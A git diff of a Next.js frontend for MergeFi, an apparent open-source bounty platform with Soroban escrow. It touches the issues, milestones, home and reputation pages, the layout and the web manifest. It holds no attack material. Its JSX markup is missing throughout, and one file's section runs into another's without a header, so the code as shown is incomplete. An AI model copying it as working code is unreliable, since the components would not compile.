+ // type-theoretically-possible case where valid is false but no message was
+ // attached, and mirrors that message's exact wording.
+ const splitsWarning =
+ bounty.teamSplitsValid?.valid === false
+ ? (bounty.teamSplitsValid.message ??
+ `Team splits sum to ${bounty.teamSplitsValid.sum.toFixed(2)}% (expected 100%)`)
+ : null;
+
+ return (
+
+ {splitsWarning} — the listed shares don't cover the full
+ reward, so don't rely on them until the team's split
+ has been corrected.
+
+
+
+ )}
+
+ {bounty.teamSplits.map((split, index) => (
+
+
+ {split.role}
+ {split.contributor ? ` (${split.contributor})` : ""}
+
+ {/* emerald-700 rather than emerald-600: 3.77:1 on white fails
+ WCAG AA for text, and this is a payout figure. emerald-700
+ measures 5.48:1. Dark mode already passed at 9.29:1. */}
+
+ {split.percentage}%
+
+
+ ))}
+
+
+ )}
+
+
+
+ );
+}
diff --git a/src/app/issues/page.tsx b/src/app/issues/page.tsx
index 00dd35fd..1754a2fa 100644
--- a/src/app/issues/page.tsx
+++ b/src/app/issues/page.tsx
@@ -1,305 +1,305 @@
-import type { Metadata } from "next";
-import Link from "next/link";
-import { GitPullRequest, FilterX } from "lucide-react";
-import { fetchBounties } from "@/lib/api";
-import { mockBounties } from "@/lib/mock-data";
-import { BountyCard } from "@/components/bounty/BountyCard";
-import { EmptyState } from "@/components/ui/EmptyState";
-import { Button } from "@/components/ui/Button";
-import { DataSourceNotice } from "@/components/ui/DataSourceNotice";
-import { formatInteger } from "@/lib/utils";
-import { messages, t } from "@/lib/messages";
-import {
- applyBountyQuery,
- buildIssuesHref,
- isFilterActive,
- parseBountyQuery,
- SORT_LABELS,
- SORT_VALUES,
- STATUS_VALUES,
- DIFFICULTY_VALUES,
- ASSET_VALUES,
- type RawSearchParams,
-} from "@/lib/bounty-query";
-
-const issuesDescription =
- "Browse paid, escrow-backed GitHub issues funded through MergeFi and ready for contributors.";
-
-export const metadata: Metadata = {
- title: "Paid Issues | MergeFi",
- description: issuesDescription,
- openGraph: {
- title: "Paid Issues | MergeFi",
- description: issuesDescription,
- url: "/issues",
- },
- twitter: {
- card: "summary_large_image",
- title: "Paid Issues | MergeFi",
- description: issuesDescription,
- },
-};
-
-/**
- * Filter values offered by the status facet. `open` and `in_review` are the
- * two a contributor actually filters by; `all` clears the facet.
- */
-const STATUS_FILTERS = [
- { value: "all", label: "All" },
- { value: "open", label: "Open" },
- { value: "in_review", label: "In review" },
-] as const satisfies readonly { value: (typeof STATUS_VALUES)[number]; label: string }[];
-
-const DIFFICULTY_LABELS: Record<(typeof DIFFICULTY_VALUES)[number], string> = {
- all: "Any difficulty",
- beginner: "Beginner",
- intermediate: "Intermediate",
- advanced: "Advanced",
- expert: "Expert",
-};
-
-const ASSET_LABELS: Record<(typeof ASSET_VALUES)[number], string> = {
- all: "Any asset",
- USDC: "USDC",
- XLM: "XLM",
-};
-
-export default async function IssuesPage({
- searchParams,
-}: {
- // Next 16 App Router: searchParams is a promise on server components.
- searchParams: Promise;
-}) {
- const params = await searchParams;
- const query = parseBountyQuery(params);
- const filterActive = isFilterActive(query);
-
- const { data: bounties, source } = await fetchBounties(mockBounties, query);
- const { items: visible, page, totalPages, filteredCount } = applyBountyQuery(bounties, query);
- const total = bounties.length;
-
- return (
-
-
-
- {messages["nav.bounties"]}
-
-
- Paid issues
-
-
- Every bounty below is backed by funds already locked in a Soroban
- escrow contract. Claim one, open a pull request, and get paid the
- moment it's merged.
-
-
-
- {/* Sample-data provenance is independent of emptiness: a backend outage
- whose fallback list is empty is both "nothing to show" and "we could
- not reach the server". Both signals render, rather than one hiding
- the other. */}
- {source === "mock" && }
-
-
-
- {/* Difficulty/asset/reward-range/sort are exposed as a plain GET form
- rather than client-side state — every combination stays a shareable,
- bookmarkable URL and the page works with JavaScript disabled. The
- hidden `status` field carries the pill selection above through the
- same submit, since HTML forms only send their own named fields. */}
-
-
- {visible.length === 0 ? (
- filterActive ? (
- /* Filtered-to-zero. Distinguished from a genuinely empty platform
- because the fix is different: here the bounties exist and the
- visitor's own filter is hiding them, so the CTA clears the filter
- instead of inviting them to fund one. */
-
-
-
- }
- />
- ) : (
-
-
-
- }
- />
- )
- ) : (
- <>
-
Available bounties
-
- {visible.map((bounty) => (
-
- ))}
-
-
- {totalPages > 1 && (
-
- )}
- >
- )}
-
- );
-}
+import type { Metadata } from "next";
+import Link from "next/link";
+import { GitPullRequest, FilterX } from "lucide-react";
+import { fetchBounties } from "@/lib/api";
+import { mockBounties } from "@/lib/mock-data";
+import { BountyCard } from "@/components/bounty/BountyCard";
+import { EmptyState } from "@/components/ui/EmptyState";
+import { Button } from "@/components/ui/Button";
+import { DataSourceNotice } from "@/components/ui/DataSourceNotice";
+import { formatInteger } from "@/lib/utils";
+import { messages, t } from "@/lib/messages";
+import {
+ applyBountyQuery,
+ buildIssuesHref,
+ isFilterActive,
+ parseBountyQuery,
+ SORT_LABELS,
+ SORT_VALUES,
+ STATUS_VALUES,
+ DIFFICULTY_VALUES,
+ ASSET_VALUES,
+ type RawSearchParams,
+} from "@/lib/bounty-query";
+
+const issuesDescription =
+ "Browse paid, escrow-backed GitHub issues funded through MergeFi and ready for contributors.";
+
+export const metadata: Metadata = {
+ title: "Paid Issues | MergeFi",
+ description: issuesDescription,
+ openGraph: {
+ title: "Paid Issues | MergeFi",
+ description: issuesDescription,
+ url: "/issues",
+ },
+ twitter: {
+ card: "summary_large_image",
+ title: "Paid Issues | MergeFi",
+ description: issuesDescription,
+ },
+};
+
+/**
+ * Filter values offered by the status facet. `open` and `in_review` are the
+ * two a contributor actually filters by; `all` clears the facet.
+ */
+const STATUS_FILTERS = [
+ { value: "all", label: "All" },
+ { value: "open", label: "Open" },
+ { value: "in_review", label: "In review" },
+] as const satisfies readonly { value: (typeof STATUS_VALUES)[number]; label: string }[];
+
+const DIFFICULTY_LABELS: Record<(typeof DIFFICULTY_VALUES)[number], string> = {
+ all: "Any difficulty",
+ beginner: "Beginner",
+ intermediate: "Intermediate",
+ advanced: "Advanced",
+ expert: "Expert",
+};
+
+const ASSET_LABELS: Record<(typeof ASSET_VALUES)[number], string> = {
+ all: "Any asset",
+ USDC: "USDC",
+ XLM: "XLM",
+};
+
+export default async function IssuesPage({
+ searchParams,
+}: {
+ // Next 16 App Router: searchParams is a promise on server components.
+ searchParams: Promise;
+}) {
+ const params = await searchParams;
+ const query = parseBountyQuery(params);
+ const filterActive = isFilterActive(query);
+
+ const { data: bounties, source } = await fetchBounties(mockBounties, query);
+ const { items: visible, page, totalPages, filteredCount } = applyBountyQuery(bounties, query);
+ const total = bounties.length;
+
+ return (
+
+
+
+ {messages["nav.bounties"]}
+
+
+ Paid issues
+
+
+ Every bounty below is backed by funds already locked in a Soroban
+ escrow contract. Claim one, open a pull request, and get paid the
+ moment it's merged.
+
+
+
+ {/* Sample-data provenance is independent of emptiness: a backend outage
+ whose fallback list is empty is both "nothing to show" and "we could
+ not reach the server". Both signals render, rather than one hiding
+ the other. */}
+ {source === "mock" && }
+
+
+
+ {/* Difficulty/asset/reward-range/sort are exposed as a plain GET form
+ rather than client-side state — every combination stays a shareable,
+ bookmarkable URL and the page works with JavaScript disabled. The
+ hidden `status` field carries the pill selection above through the
+ same submit, since HTML forms only send their own named fields. */}
+
+
+ {visible.length === 0 ? (
+ filterActive ? (
+ /* Filtered-to-zero. Distinguished from a genuinely empty platform
+ because the fix is different: here the bounties exist and the
+ visitor's own filter is hiding them, so the CTA clears the filter
+ instead of inviting them to fund one. */
+
+
+
+ }
+ />
+ ) : (
+
+
+
+ }
+ />
+ )
+ ) : (
+ <>
+
Available bounties
+
+ {visible.map((bounty) => (
+
+ ))}
+
+
+ {totalPages > 1 && (
+
+ )}
+ >
+ )}
+
+ );
+}
diff --git a/src/app/layout.tsx b/src/app/layout.tsx
index ef499b52..457479d4 100644
--- a/src/app/layout.tsx
+++ b/src/app/layout.tsx
@@ -1,88 +1,88 @@
-import type { Metadata, Viewport } from "next";
-import { Geist, Geist_Mono } from "next/font/google";
-import "./globals.css";
-import { Navbar } from "@/components/layout/Navbar";
-import { Footer } from "@/components/layout/Footer";
-import { AuthProvider } from "@/context/AuthContext";
-import { WalletProvider } from "@/context/WalletContext";
-import { ThemeProvider, themeInitScript } from "@/context/ThemeContext";
-import { LocaleProvider, localeInitScript } from "@/context/LocaleContext";
-
-const geistSans = Geist({
- variable: "--font-geist-sans",
- subsets: ["latin"],
-});
-
-const geistMono = Geist_Mono({
- variable: "--font-geist-mono",
- subsets: ["latin"],
-});
-
-export const metadata: Metadata = {
- metadataBase: new URL(
- process.env.NEXT_PUBLIC_SITE_URL ?? "https://mergefi.app",
- ),
- title: "MergeFi | Merge code. Earn instantly.",
- description:
- "MergeFi is the financial infrastructure for open source: fund GitHub issues, escrow payment with Soroban smart contracts on Stellar, and pay contributors automatically when work is merged.",
-};
-
-export const viewport: Viewport = {
- colorScheme: "dark light",
- // Matches the light/dark backgrounds in globals.css so mobile browser
- // chrome (the address/status bar) doesn't clash with the page the
- // instant it loads — without this, browsers fall back to their own
- // default (usually white), which visibly contradicts a near-black dark
- // mode page (#224).
- themeColor: [
- { media: "(prefers-color-scheme: light)", color: "#fbfbfd" },
- { media: "(prefers-color-scheme: dark)", color: "#0a0a0f" },
- ],
-};
-
-export default function RootLayout({
- children,
-}: Readonly<{
- children: React.ReactNode;
-}>) {
- return (
- /* `lang` and `dir` are written by localeInitScript before first paint
- (see the script tag below), so a right-to-left viewer never sees a
- left-to-right first frame and a screen reader never announces the
- document in the wrong language. The literal defaults here are what the
- server renders; the script upgrades them client-side, and
- suppressHydrationWarning covers the attribute swap. */
-
-
-
-
-
-
-
- Skip to content
-
-
-
-
-
-
-
- {children}
-
-
-
-
-
-
-
-
- );
-}
+import type { Metadata, Viewport } from "next";
+import { Geist, Geist_Mono } from "next/font/google";
+import "./globals.css";
+import { Navbar } from "@/components/layout/Navbar";
+import { Footer } from "@/components/layout/Footer";
+import { AuthProvider } from "@/context/AuthContext";
+import { WalletProvider } from "@/context/WalletContext";
+import { ThemeProvider, themeInitScript } from "@/context/ThemeContext";
+import { LocaleProvider, localeInitScript } from "@/context/LocaleContext";
+
+const geistSans = Geist({
+ variable: "--font-geist-sans",
+ subsets: ["latin"],
+});
+
+const geistMono = Geist_Mono({
+ variable: "--font-geist-mono",
+ subsets: ["latin"],
+});
+
+export const metadata: Metadata = {
+ metadataBase: new URL(
+ process.env.NEXT_PUBLIC_SITE_URL ?? "https://mergefi.app",
+ ),
+ title: "MergeFi | Merge code. Earn instantly.",
+ description:
+ "MergeFi is the financial infrastructure for open source: fund GitHub issues, escrow payment with Soroban smart contracts on Stellar, and pay contributors automatically when work is merged.",
+};
+
+export const viewport: Viewport = {
+ colorScheme: "dark light",
+ // Matches the light/dark backgrounds in globals.css so mobile browser
+ // chrome (the address/status bar) doesn't clash with the page the
+ // instant it loads — without this, browsers fall back to their own
+ // default (usually white), which visibly contradicts a near-black dark
+ // mode page (#224).
+ themeColor: [
+ { media: "(prefers-color-scheme: light)", color: "#fbfbfd" },
+ { media: "(prefers-color-scheme: dark)", color: "#0a0a0f" },
+ ],
+};
+
+export default function RootLayout({
+ children,
+}: Readonly<{
+ children: React.ReactNode;
+}>) {
+ return (
+ /* `lang` and `dir` are written by localeInitScript before first paint
+ (see the script tag below), so a right-to-left viewer never sees a
+ left-to-right first frame and a screen reader never announces the
+ document in the wrong language. The literal defaults here are what the
+ server renders; the script upgrades them client-side, and
+ suppressHydrationWarning covers the attribute swap. */
+
+
+
+
+
+
+
+ Skip to content
+
+
+
+
+
+
+
+ {children}
+
+
+
+
+
+
+
+
+ );
+}
diff --git a/src/app/manifest.test.ts b/src/app/manifest.test.ts
index e68eaeee..547f804b 100644
--- a/src/app/manifest.test.ts
+++ b/src/app/manifest.test.ts
@@ -1,18 +1,18 @@
-import manifest from "./manifest";
-
-describe("web app manifest", () => {
- it("provides standalone MergeFi install metadata and app icons", () => {
- expect(manifest()).toMatchObject({
- name: "MergeFi",
- short_name: "MergeFi",
- start_url: "/",
- display: "standalone",
- background_color: "#0a0a0f",
- theme_color: "#fbfbfd",
- icons: expect.arrayContaining([
- expect.objectContaining({ src: "/icon.png", sizes: "512x512" }),
- expect.objectContaining({ src: "/apple-icon.png", sizes: "180x180" }),
- ]),
- });
- });
-});
+import manifest from "./manifest";
+
+describe("web app manifest", () => {
+ it("provides standalone MergeFi install metadata and app icons", () => {
+ expect(manifest()).toMatchObject({
+ name: "MergeFi",
+ short_name: "MergeFi",
+ start_url: "/",
+ display: "standalone",
+ background_color: "#0a0a0f",
+ theme_color: "#fbfbfd",
+ icons: expect.arrayContaining([
+ expect.objectContaining({ src: "/icon.png", sizes: "512x512" }),
+ expect.objectContaining({ src: "/apple-icon.png", sizes: "180x180" }),
+ ]),
+ });
+ });
+});
diff --git a/src/app/manifest.ts b/src/app/manifest.ts
index 616bbbc1..30cb86e9 100644
--- a/src/app/manifest.ts
+++ b/src/app/manifest.ts
@@ -1,28 +1,28 @@
-import type { MetadataRoute } from "next";
-
-export default function manifest(): MetadataRoute.Manifest {
- return {
- name: "MergeFi",
- short_name: "MergeFi",
- description:
- "Fund open source work and track contributor rewards through MergeFi.",
- start_url: "/",
- display: "standalone",
- background_color: "#0a0a0f",
- theme_color: "#fbfbfd",
- icons: [
- {
- src: "/icon.png",
- sizes: "512x512",
- type: "image/png",
- purpose: "any",
- },
- {
- src: "/apple-icon.png",
- sizes: "180x180",
- type: "image/png",
- purpose: "any",
- },
- ],
- };
-}
+import type { MetadataRoute } from "next";
+
+export default function manifest(): MetadataRoute.Manifest {
+ return {
+ name: "MergeFi",
+ short_name: "MergeFi",
+ description:
+ "Fund open source work and track contributor rewards through MergeFi.",
+ start_url: "/",
+ display: "standalone",
+ background_color: "#0a0a0f",
+ theme_color: "#fbfbfd",
+ icons: [
+ {
+ src: "/icon.png",
+ sizes: "512x512",
+ type: "image/png",
+ purpose: "any",
+ },
+ {
+ src: "/apple-icon.png",
+ sizes: "180x180",
+ type: "image/png",
+ purpose: "any",
+ },
+ ],
+ };
+}
diff --git a/src/app/milestones/MilestoneActions.tsx b/src/app/milestones/MilestoneActions.tsx
index fce7b00c..db7133ef 100644
--- a/src/app/milestones/MilestoneActions.tsx
+++ b/src/app/milestones/MilestoneActions.tsx
@@ -1,289 +1,289 @@
-"use client";
-
-import { useState } from "react";
-import { useRouter } from "next/navigation";
-import { Button } from "@/components/ui/Button";
-import { useWalletAction } from "@/hooks/useWalletAction";
-import { apiPost, ApiRequestError } from "@/lib/api";
-import {
- parseMoneyInput,
- generateIdempotencyKey,
- formatCurrency,
-} from "@/lib/utils";
-
-/**
- * parseMoneyInput is the single source of truth for "is this a usable amount"
- * (non-empty, finite, > 0, within the asset's decimal precision) — reused
- * here rather than reimplementing validation for the milestone form, so the
- * two funding inputs on this page can't drift apart.
- *
- * `max`, when the caller knows the milestone's remaining budget, additionally
- * rejects amounts that would overfund it. That cap is deliberately client-side
- * and advisory: the backend remains authoritative, and an unknown budget (a
- * milestone with budget <= 0) simply skips the check rather than blocking
- * funding outright.
- */
-function validateFundingAmount(
- raw: string,
- asset: "USDC" | "XLM",
- max?: number,
-): { valid: boolean; normalized?: string; error?: string } {
- const result = parseMoneyInput(raw, asset);
- if (!result.valid) return result;
- if (max !== undefined && Number(result.normalized) > max) {
- return {
- valid: false,
- error: `Amount exceeds the remaining ${formatCurrency(max, asset)} budget.`,
- };
- }
- return result;
-}
-
-/** Pre-fill the remaining budget, rounded down to the asset's precision. */
-function defaultAmount(asset: "USDC" | "XLM", remainingBudget?: number): string {
- if (remainingBudget === undefined || !Number.isFinite(remainingBudget)) return "100";
- if (remainingBudget <= 0) return "100";
- return remainingBudget.toFixed(asset === "XLM" ? 7 : 2).replace(/\.?0+$/, "") || "0";
-}
-
-export function MilestoneFundButton({
- milestoneId,
- milestoneName,
- remainingBudget,
- asset = "USDC",
-}: {
- milestoneId: string;
- milestoneName?: string;
- /** budget - distributed, when the caller knows it. Undefined = no cap. */
- remainingBudget?: number;
- asset?: "USDC" | "XLM";
-}) {
- const router = useRouter();
- const { runWithWallet, connecting } = useWalletAction();
- const [amount, setAmount] = useState(() => defaultAmount(asset, remainingBudget));
- const [pending, setPending] = useState(false);
- const [error, setError] = useState(null);
- const [notice, setNotice] = useState(null);
-
- const validation = validateFundingAmount(amount, asset, remainingBudget);
- const inputValid = validation.valid;
-
- function handleAmountChange(e: React.ChangeEvent) {
- setAmount(e.target.value);
- setError(null);
- setNotice(null);
- }
-
- async function handleFund() {
- setError(null);
- setNotice(null);
- // Re-validate at submit time in case state drifted
- const result = validateFundingAmount(amount, asset, remainingBudget);
- if (!result.valid) {
- setError(result.error ?? "Invalid amount.");
- return;
- }
-
- setPending(true);
- try {
- const walletResult = await runWithWallet(
- (walletAddress) =>
- apiPost(`/milestones/${milestoneId}/fund`, {
- // The amount is a string, matching the backend's own money-amount
- // convention (`@IsMoneyAmount() amount: string` in
- // mergefi-backend's create-bounty DTO) and PoolDepositButton's
- // deposit call — never a JS float.
- amount: result.normalized,
- funderAddress: walletAddress,
- idempotencyKey: generateIdempotencyKey(),
- }),
- "Connect a Stellar wallet to fund this milestone.",
- );
- if (!walletResult.ok) {
- setError(walletResult.error);
- return;
- }
- setNotice(
- "Milestone funded successfully. The funds are now locked in escrow.",
- );
- router.refresh();
- } catch (err) {
- setError(
- err instanceof ApiRequestError ? err.message : "Something went wrong.",
- );
- } finally {
- setPending(false);
- }
- }
-
- const step = asset === "XLM" ? "0.0000001" : "0.01";
- const inputId = `milestone-fund-${milestoneId}`;
- const errorId = `${inputId}-error`;
- const hintId = `${inputId}-hint`;
- const hasHint = remainingBudget !== undefined;
- const describedBy =
- [hasHint ? hintId : null, error ? errorId : null].filter(Boolean).join(" ") ||
- undefined;
-
- return (
-
- Sponsors can fund an entire release instead of a single issue. Budget is
- distributed automatically across the milestone's issues as each one
- resolves.
-
-
- {/* Neither section consumed `source` before, so a mock fallback here was
- indistinguishable from live data. */}
- {source === "mock" && }
-
-
- Active milestones
-
-
- {/* `md:col-span-2` so the empty state spans the grid instead of
- occupying one narrow cell. */}
-
- {milestones.length === 0 ? (
-
-
-
- }
- />
- ) : (
- milestones.map((m) => {
- // Fundable remainder for the amount input's default and cap. A
- // milestone with no budget yet (budget <= 0) is left uncapped
- // rather than reported as fully funded — "remaining 0" would
- // disable the button on exactly the milestones that most need
- // their first contribution.
- const remainingBudget =
- m.budget > 0 ? Math.max(m.budget - m.distributed, 0) : undefined;
- return (
-
-
- {m.repo}
-
-
- {m.name}
-
-
-
- {m.completedCount} of {m.issueCount} issues complete
-
-
-
- );
- })
- )}
-
-
-
- Recurring maintenance pools
-
-
- Sponsors deposit monthly so maintainers can reward ongoing upkeep, like
- dependency bumps, docs, and cleanup, that would otherwise go unfunded.
-
- );
-}
+import type { Metadata } from "next";
+import Link from "next/link";
+import { fetchMilestones, fetchMaintenancePools } from "@/lib/api";
+import { mockMilestones, mockMaintenancePools } from "@/lib/mock-data";
+import { formatCurrency } from "@/lib/utils";
+import { MilestoneFundButton, PoolDepositButton } from "./MilestoneActions";
+import { MilestoneFundingProgress } from "./MilestoneFundingProgress";
+import { EmptyState } from "@/components/ui/EmptyState";
+import { DataSourceNotice } from "@/components/ui/DataSourceNotice";
+import { Button } from "@/components/ui/Button";
+import { Card } from "@/components/ui/Card";
+import { Target, Droplets } from "lucide-react";
+import { t } from "@/lib/messages";
+
+const milestonesDescription =
+ "Fund open source release milestones and recurring maintenance pools through MergeFi.";
+
+export const metadata: Metadata = {
+ title: "Milestones | MergeFi",
+ description: milestonesDescription,
+ openGraph: {
+ title: "Milestones | MergeFi",
+ description: milestonesDescription,
+ url: "/milestones",
+ },
+ twitter: {
+ card: "summary_large_image",
+ title: "Milestones | MergeFi",
+ description: milestonesDescription,
+ },
+};
+
+export default async function MilestonesPage() {
+ const [milestonesRes, poolsRes] = await Promise.all([
+ fetchMilestones(mockMilestones),
+ fetchMaintenancePools(mockMaintenancePools),
+ ]);
+ const milestones = milestonesRes.data;
+ const pools = poolsRes.data;
+ const source = milestonesRes.source === "mock" || poolsRes.source === "mock" ? "mock" : "live";
+
+ return (
+
+
+ Funding
+
+
+ Milestone funding
+
+
+ Sponsors can fund an entire release instead of a single issue. Budget is
+ distributed automatically across the milestone's issues as each one
+ resolves.
+
+
+ {/* Neither section consumed `source` before, so a mock fallback here was
+ indistinguishable from live data. */}
+ {source === "mock" && }
+
+
+ Active milestones
+
+
+ {/* `md:col-span-2` so the empty state spans the grid instead of
+ occupying one narrow cell. */}
+
+ {milestones.length === 0 ? (
+
+
+
+ }
+ />
+ ) : (
+ milestones.map((m) => {
+ // Fundable remainder for the amount input's default and cap. A
+ // milestone with no budget yet (budget <= 0) is left uncapped
+ // rather than reported as fully funded — "remaining 0" would
+ // disable the button on exactly the milestones that most need
+ // their first contribution.
+ const remainingBudget =
+ m.budget > 0 ? Math.max(m.budget - m.distributed, 0) : undefined;
+ return (
+
+
+ {m.repo}
+
+
+ {m.name}
+
+
+
+ {m.completedCount} of {m.issueCount} issues complete
+
+
+
+ );
+ })
+ )}
+
+
+
+ Recurring maintenance pools
+
+
+ Sponsors deposit monthly so maintainers can reward ongoing upkeep, like
+ dependency bumps, docs, and cleanup, that would otherwise go unfunded.
+
+ );
+}
diff --git a/src/app/page.tsx b/src/app/page.tsx
index 93bd35a3..c2ef9777 100644
--- a/src/app/page.tsx
+++ b/src/app/page.tsx
@@ -1,327 +1,327 @@
-import Link from "next/link";
-import {
- ShieldCheck,
- Zap,
- Users,
- BarChart3,
- GitPullRequest,
- Wallet,
- ArrowRight,
- Trophy,
- Code2,
- KeyRound,
- Coins,
- Activity,
-} from "lucide-react";
-import { Button } from "@/components/ui/Button";
-import { Card } from "@/components/ui/Card";
-import { StatCard } from "@/components/ui/StatCard";
-import { Avatar, AvatarStack } from "@/components/ui/Avatar";
-import { ActivityList } from "@/components/dashboard/ActivityList";
-import {
- platformStats,
- trustedOrgs,
- topContributors,
- recentActivity,
- faqs,
-} from "@/lib/mock-data";
-import { formatCurrency, formatInteger } from "@/lib/utils";
-import { STELLAR_NETWORK } from "@/lib/config";
-
-const integrations = [
- { icon: Code2, label: "GitHub" },
- { icon: Zap, label: "Soroban" },
- { icon: KeyRound, label: "Freighter" },
- { icon: Coins, label: "USDC / XLM" },
-];
-
-const journey = [
- "Maintainer connects a GitHub repository.",
- "Issue #42 is marked with a 100 USDC reward.",
- "A sponsor funds the bounty, and funds lock into a Soroban escrow contract.",
- "A contributor claims the issue and opens a pull request.",
- "The maintainer reviews and merges it.",
- "MergeFi detects the merge via GitHub webhook.",
- "The escrow contract automatically releases payment to the contributor.",
- "The contributor's reputation and earnings profile update instantly.",
-];
-
-const features = [
- {
- icon: GitPullRequest,
- title: "Repository sync",
- description:
- "Connect GitHub and MergeFi imports repositories, issues, pull requests, and contributors automatically.",
- },
- {
- icon: ShieldCheck,
- title: "Smart escrow",
- description:
- "Funds move into a Soroban smart contract the moment a bounty is funded. No one can withdraw until the work is verified.",
- },
- {
- icon: Zap,
- title: "Instant payouts",
- description:
- "Merges are detected via GitHub webhooks and trigger automatic on-chain payment release in seconds.",
- },
- {
- icon: Users,
- title: "Team bounties",
- description:
- "Split rewards across multiple contributors by role, like frontend, backend, and testing, paid out automatically.",
- },
- {
- icon: BarChart3,
- title: "Reputation & analytics",
- description:
- "Build a financial contribution profile: lifetime earnings, merge rate, review time, and top clients.",
- },
- {
- icon: Wallet,
- title: "Sponsor dashboards",
- description:
- "Track spending, active bounties, contributor performance, and budget remaining in real time.",
- },
-];
-
-export default function HomePage() {
- return (
-
-
-
-
-
- {STELLAR_NETWORK === "PUBLIC" ? "Built for Stellar Mainnet" : "Built for Stellar (Testnet)"}
-
-
- Merge code.
-
- Earn instantly.
-
-
- MergeFi is the financial infrastructure for open source. Sponsors
- fund issues, contributors get paid the moment their pull request
- is merged, and Soroban smart contracts on Stellar handle the
- escrow.
-
-
-
-
-
- {/* Avg. payout time is a duration (minutes), not a currency/count/percent —
- no existing StatCardFormat covers it, so keep as pre-formatted string. */}
-
-
-
-
-
-
- Platform
-
-
- Everything you need to fund and get paid for open source
-
- Very low transaction costs make micro-bounties practical, fast
- settlement means contributors aren't waiting days for
- payment, and Soroban smart contracts handle escrow, splits, and
- milestone payouts natively on-chain.
-
-
-
-
-
-
-
-
-
- );
-}
+import Link from "next/link";
+import {
+ ShieldCheck,
+ Zap,
+ Users,
+ BarChart3,
+ GitPullRequest,
+ Wallet,
+ ArrowRight,
+ Trophy,
+ Code2,
+ KeyRound,
+ Coins,
+ Activity,
+} from "lucide-react";
+import { Button } from "@/components/ui/Button";
+import { Card } from "@/components/ui/Card";
+import { StatCard } from "@/components/ui/StatCard";
+import { Avatar, AvatarStack } from "@/components/ui/Avatar";
+import { ActivityList } from "@/components/dashboard/ActivityList";
+import {
+ platformStats,
+ trustedOrgs,
+ topContributors,
+ recentActivity,
+ faqs,
+} from "@/lib/mock-data";
+import { formatCurrency, formatInteger } from "@/lib/utils";
+import { STELLAR_NETWORK } from "@/lib/config";
+
+const integrations = [
+ { icon: Code2, label: "GitHub" },
+ { icon: Zap, label: "Soroban" },
+ { icon: KeyRound, label: "Freighter" },
+ { icon: Coins, label: "USDC / XLM" },
+];
+
+const journey = [
+ "Maintainer connects a GitHub repository.",
+ "Issue #42 is marked with a 100 USDC reward.",
+ "A sponsor funds the bounty, and funds lock into a Soroban escrow contract.",
+ "A contributor claims the issue and opens a pull request.",
+ "The maintainer reviews and merges it.",
+ "MergeFi detects the merge via GitHub webhook.",
+ "The escrow contract automatically releases payment to the contributor.",
+ "The contributor's reputation and earnings profile update instantly.",
+];
+
+const features = [
+ {
+ icon: GitPullRequest,
+ title: "Repository sync",
+ description:
+ "Connect GitHub and MergeFi imports repositories, issues, pull requests, and contributors automatically.",
+ },
+ {
+ icon: ShieldCheck,
+ title: "Smart escrow",
+ description:
+ "Funds move into a Soroban smart contract the moment a bounty is funded. No one can withdraw until the work is verified.",
+ },
+ {
+ icon: Zap,
+ title: "Instant payouts",
+ description:
+ "Merges are detected via GitHub webhooks and trigger automatic on-chain payment release in seconds.",
+ },
+ {
+ icon: Users,
+ title: "Team bounties",
+ description:
+ "Split rewards across multiple contributors by role, like frontend, backend, and testing, paid out automatically.",
+ },
+ {
+ icon: BarChart3,
+ title: "Reputation & analytics",
+ description:
+ "Build a financial contribution profile: lifetime earnings, merge rate, review time, and top clients.",
+ },
+ {
+ icon: Wallet,
+ title: "Sponsor dashboards",
+ description:
+ "Track spending, active bounties, contributor performance, and budget remaining in real time.",
+ },
+];
+
+export default function HomePage() {
+ return (
+
+
+
+
+
+ {STELLAR_NETWORK === "PUBLIC" ? "Built for Stellar Mainnet" : "Built for Stellar (Testnet)"}
+
+
+ Merge code.
+
+ Earn instantly.
+
+
+ MergeFi is the financial infrastructure for open source. Sponsors
+ fund issues, contributors get paid the moment their pull request
+ is merged, and Soroban smart contracts on Stellar handle the
+ escrow.
+
+
+
+
+
+ {/* Avg. payout time is a duration (minutes), not a currency/count/percent —
+ no existing StatCardFormat covers it, so keep as pre-formatted string. */}
+
+
+
+
+
+
+ Platform
+
+
+ Everything you need to fund and get paid for open source
+
+ Very low transaction costs make micro-bounties practical, fast
+ settlement means contributors aren't waiting days for
+ payment, and Soroban smart contracts handle escrow, splits, and
+ milestone payouts natively on-chain.
+
+
+
+
+
+
+
+
+
+ );
+}
diff --git a/src/app/reputation/[handle]/page.tsx b/src/app/reputation/[handle]/page.tsx
index a4a247ed..cdf44c01 100644
--- a/src/app/reputation/[handle]/page.tsx
+++ b/src/app/reputation/[handle]/page.tsx
@@ -1,76 +1,76 @@
-import type { Metadata } from "next";
-import { notFound } from "next/navigation";
-import { fetchReputationByUsername } from "@/lib/api";
-import { mockReputationProfiles } from "@/lib/mock-data";
-import { profileIsIndexable } from "@/lib/seo-policy";
-import { ReputationProfileView } from "./ReputationProfileView";
-
-export async function generateMetadata({
- params,
-}: {
- params: Promise<{ handle: string }>;
-}): Promise {
- const { handle } = await params;
- const mockFallback =
- Object.values(mockReputationProfiles).find(
- (p) => p.handle.toLowerCase() === handle.toLowerCase(),
- ) ?? null;
- const { data: profile } = await fetchReputationByUsername(handle, mockFallback);
-
- if (!profile) {
- return { title: "Profile not found | MergeFi" };
- }
-
- const title = `@${profile.handle} | MergeFi`;
- const description = `${profile.mergedPRs} merged PRs · ${profile.languages.slice(0, 3).join(", ")}`;
-
- return {
- title,
- description,
- // The noindex fallback required by the policy in src/lib/seo-policy.ts.
- // Omitting a profile from the sitemap is not sufficient on its own: a URL
- // that has already been crawled (shared in a Slack channel, a GitHub
- // profile README, a search result from before the policy existed) can
- // still get indexed from an inbound link, and robots.txt can't express
- // "this one page is private, the rest aren't". So every profile that
- // hasn't opted in states it explicitly in the document head.
- //
- // Deliberately not an X-Robots-Tag header: a header can only be set for a
- // whole route match in next.config.ts, which would noindex opted-in
- // profiles too. Per-page metadata is the granularity this policy needs.
- //
- // A static header for all /reputation/* was also rejected for the same
- // reason — see the robots.ts comment for why robots.txt must not
- // disallow this path either.
- robots: profileIsIndexable(profile)
- ? { index: true, follow: true }
- : { index: false, follow: false },
- openGraph: {
- title,
- description,
- url: `/reputation/${handle}`,
- },
- twitter: {
- card: "summary_large_image",
- title,
- description,
- },
- };
-}
-
-export default async function ReputationPage({
- params,
-}: {
- params: Promise<{ handle: string }>;
-}) {
- const { handle } = await params;
- const mockFallback =
- Object.values(mockReputationProfiles).find(
- (p) => p.handle.toLowerCase() === handle.toLowerCase(),
- ) ?? null;
- const { data: profile } = await fetchReputationByUsername(handle, mockFallback);
-
- if (!profile) notFound();
-
- return ;
-}
+import type { Metadata } from "next";
